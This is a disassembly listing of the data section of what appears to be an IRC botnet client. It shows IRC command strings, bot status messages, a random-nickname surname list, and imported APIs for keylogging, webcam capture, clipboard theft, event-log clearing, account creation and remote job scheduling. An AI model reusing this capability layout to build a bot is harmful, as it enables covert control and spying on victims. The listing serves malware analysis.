aSecure db 'secure',0 ; DATA XREF: sub_401AA1+F55o
; sub_401AA1+2D09o
align 4
aSt db 'st',0 ; DATA XREF: sub_401AA1+F40o
align 10h
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AA1+F2Bo
align 4
aRz db 'rz',0 ; DATA XREF: sub_401AA1+F16o
align 10h
aRulez db 'rulez',0 ; DATA XREF: sub_401AA1+F01o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401AA1+EECo
aVersion db 'version',0 ; DATA XREF: sub_401AA1+ED7o
aLo db 'lo',0 ; DATA XREF: sub_401AA1+EC2o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401AA1+EADo
align 10h
aDi3 db 'di3',0 ; DATA XREF: sub_401AA1+E83o
; sub_401AA1+E98o
aRn db 'rn',0 ; DATA XREF: sub_401AA1+E6Eo
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401AA1+E56o
a63 db '63',0 ; DATA XREF: sub_401AA1+D25o
align 4
asc_42F2E4: ; DATA XREF: sub_401AA1+CFDo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401AA1+CC3o
align 10h
aServer_1 db '$server',0 ; DATA XREF: sub_401AA1+CB8o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AA1+CA7o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401AA1+C8Bo
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_401AA1+C7Ao
align 4
aMe db '$me',0 ; DATA XREF: sub_401AA1+C68o
aD db '$%d',0 ; DATA XREF: sub_401AA1+BFAo
aD_0 db '$%d-',0 ; DATA XREF: sub_401AA1+B44o
align 4
asc_42F324: ; DATA XREF: sub_401AA1+A66o
; .XPack0:0043AC3Co ...
unicode 0, <l>,0
aK: ; DATA XREF: sub_401AA1+A4Eo
; sub_401AA1+3DA4o ...
unicode 0, <k>,0
unk_42F32C db 2Dh ; - ; DATA XREF: sub_401AA1+A2Bo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_42F360 db 2Dh ; - ; DATA XREF: sub_401AA1+A1Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_42F390 db 2Dh ; - ; DATA XREF: sub_401AA1+9F4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_20 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42F3C8 db 2Dh ; - ; DATA XREF: sub_401AA1+99Bo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401AA1+907o
align 10h
unk_42F3F0 db 2Dh ; - ; DATA XREF: sub_401AA1+8EAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_42F434 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401AA1+8BAo
dd 0A0Dh
dword_42F44C dd 4E495001h, 47hdword_42F454 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401AA1+87Bo
dd 0D017325h, 0Ah
dword_42F470 dd 52455601h, 4E4F4953h, 1dword_42F47C dd 23h ; sub_40CC4F+1Bo
unk_42F480 db 2Dh ; - ; DATA XREF: sub_401AA1+73Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 10h
aS_2 db '%s',0 ; DATA XREF: sub_401AA1+6C5o
; sub_401AA1+944o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401AA1+69Eo
align 4
dword_42F4BC dd 43434401h, 0 dword_42F4C4 dd 323333h ; sub_401AA1+A88o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401AA1+5E4o
; sub_409743+Fo
align 10h
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AA1+5D8o
; sub_409743+16o
dword_42F4D8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+567o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h
dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 2E7325h
dword_42F518 dd 333533h aQuit db 'QUIT',0 ; DATA XREF: sub_401AA1+4F9o
; sub_40F6A7+5B6o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401AA1+4E8o
; sub_401AA1+5A4o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401AA1+4C3o
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401AA1+3AFo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+352o
; sub_401AA1+5C8o
align 10h
dword_42F550 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+339o
; sub_401AA1+587o ...
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
dd 25203403h, 31032073h, 6F026C02h, 65026767h, 6F206402h
dd 74027502h, 2Eh
aKick db 'KICK',0 ; DATA XREF: sub_401AA1+2D6o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+27Fo
; sub_401AA1+79E3o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401AA1+257o
; sub_417CCD:loc_417D42o
a@: ; DATA XREF: sub_401AA1+22Co
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401AA1+21Co
a005 db '005',0 ; DATA XREF: sub_401AA1+207o
a001 db '001',0 ; DATA XREF: sub_401AA1+1F2o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1D6o
; sub_401AA1+39Co ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1B5o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401AA1+19Bo
; sub_417CCD+4Eo
align 4
asc_42F5E4: ; DATA XREF: sub_401AA1+18Co
; sub_401AA1+7AECo
unicode 0, <!>,0
asc_42F5E8: ; DATA XREF: sub_401AA1+A8o
; sub_401AA1+DFAo ...
unicode 0, < >,0
asc_42F5EC db ' :',0 ; DATA XREF: sub_401AA1+86o
; sub_401AA1:loc_402581o
align 10h
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409743+58o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4097DE+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4097DE+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4097DE:loc_40A448o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4097DE+C15o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4097DE+C08o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4097DE+BFBo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4097DE+BEEo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4097DE+BE1o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4097DE+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4097DE:loc_40A3AAo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4097DE+B97o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4097DE+B8Fo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4097DE:loc_40A360o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4097DE+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4097DE+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4097DE+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4097DE+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4097DE:loc_40A2ECo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4097DE+AD9o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4097DE+AD1o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4097DE:loc_40A2A2o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4097DE+A8Fo
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4097DE+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4097DE:loc_40A258o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4097DE+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4097DE+9ECo
; sub_418C2F+54o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4097DE+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4097DE+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4097DE+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4097DE+9B8o
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4097DE+9ABo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4097DE+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4097DE+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4097DE+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4097DE+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4097DE+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4097DE:loc_40A13Co
; sub_418C2F+47o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4097DE+921o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4097DE+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4097DE+90Co
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4097DE:loc_40A0DDo
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4097DE+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4097DE+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4097DE+853o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4097DE+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4097DE+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4097DE+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4097DE+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4097DE+812o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4097DE+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4097DE+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4097DE+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4097DE:loc_409FBDo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4097DE+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4097DE+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4097DE+68Co
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4097DE+67Fo
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_4097DE+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4097DE+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4097DE+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4097DE+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_4097DE+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_4097DE+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4097DE+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4097DE+617o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_4097DE+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4097DE+5FDo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4097DE+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4097DE+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4097DE+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4097DE+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4097DE+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4097DE+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4097DE+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4097DE+588o
aSocket db 'socket',0 ; DATA XREF: sub_4097DE+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4097DE+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4097DE+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4097DE+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4097DE+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4097DE+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4097DE+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4097DE+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4097DE+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4097DE+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4097DE+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4097DE+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4097DE+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4097DE+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4097DE+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4097DE+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4097DE+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4097DE+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4097DE:loc_409C0Bo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4097DE:loc_409BE3o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4097DE+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4097DE+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4097DE+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4097DE+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4097DE+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4097DE+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4097DE+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4097DE:loc_409B35o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4097DE+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4097DE+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4097DE:loc_409AF0o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4097DE+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4097DE+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4097DE+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4097DE+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4097DE+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4097DE+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4097DE+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4097DE+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4097DE:loc_409A3Do
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4097DE+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4097DE+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4097DE+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4097DE:loc_4099D6o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4097DE+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4097DE+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4097DE+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4097DE+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4097DE+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4097DE+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4097DE+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4097DE+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4097DE:loc_409913o
; sub_425448+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4097DE:loc_4098E6o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4097DE+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4097DE+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4097DE+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4097DE+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4097DE+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4097DE+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4097DE+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4097DE+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4097DE+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4097DE+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4097DE+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4097DE+Ao
align 4
dword_42FEEC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_40A49A+2F2o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1DllTestComple db '1 DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+90o
; .XPack0:004355C4o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+28o
align 4
a_: ; DATA XREF: sub_40EA40+13o
; sub_41061F+24Co
unicode 0, <.>,0
unk_430098 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A8CEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_4300C8 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A89Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_4300F8 db 2Dh ; - ; DATA XREF: sub_40A7FD:loc_40A852o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_43011C db 2Dh ; - ; DATA XREF: sub_40A7FD+45o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A8D5+46o
; sub_40C138+38o ...
align 8
dword_430158 dd 6C616572h dd 2 dup(0)
dword_430164 dd 0 off_430168 dd offset sub_40A97E ; DATA XREF: sub_40AD20+4Dr
aConst db 'const',0
align 8
dd 1, 40A9EAh, 7474656Ch, 7265h, 0
dd 2, 40AA48h, 706D6F63h, 2 dup(0)
dd 3, 40AA95h, 6E756F63h, 797274h, 0
dd 4, 40AB04h, 736Fh, 2 dup(0)
dd 5, 40AB79h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AD8Dh, 0
off_4301E8 dd offset aAbdulrazak ; DATA XREF: sub_40A97E+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
